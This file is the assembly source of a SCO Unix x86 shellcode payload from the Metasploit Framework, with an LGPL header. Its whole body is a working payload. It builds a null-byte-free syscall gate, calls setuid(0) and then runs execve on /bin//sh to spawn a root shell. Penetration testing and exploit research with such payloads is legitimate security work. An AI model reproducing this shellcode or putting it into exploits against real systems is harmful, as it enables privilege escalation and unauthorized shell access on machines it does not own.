metasploit-framework/external/source/unixasm/sco-x86-shellcode.s

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/*
* $Id: sco-x86-shellcode.s 2 2008-02-27 17:34:58Z ramon $
*
* sco-x86-shellcode.s
* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
.global _start
_start:
syscallcode:
pushl $0x3cfff8ff
pushl $0x65
movl %esp,%esi
notl 0x04(%esi)
notb (%esi)
setuidcode:
xorl %eax,%eax
pushl %eax
movb $0x17,%al
call *%esi
shellcode:
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %eax
pushl %ebx
movb $0x3b,%al
call *%esi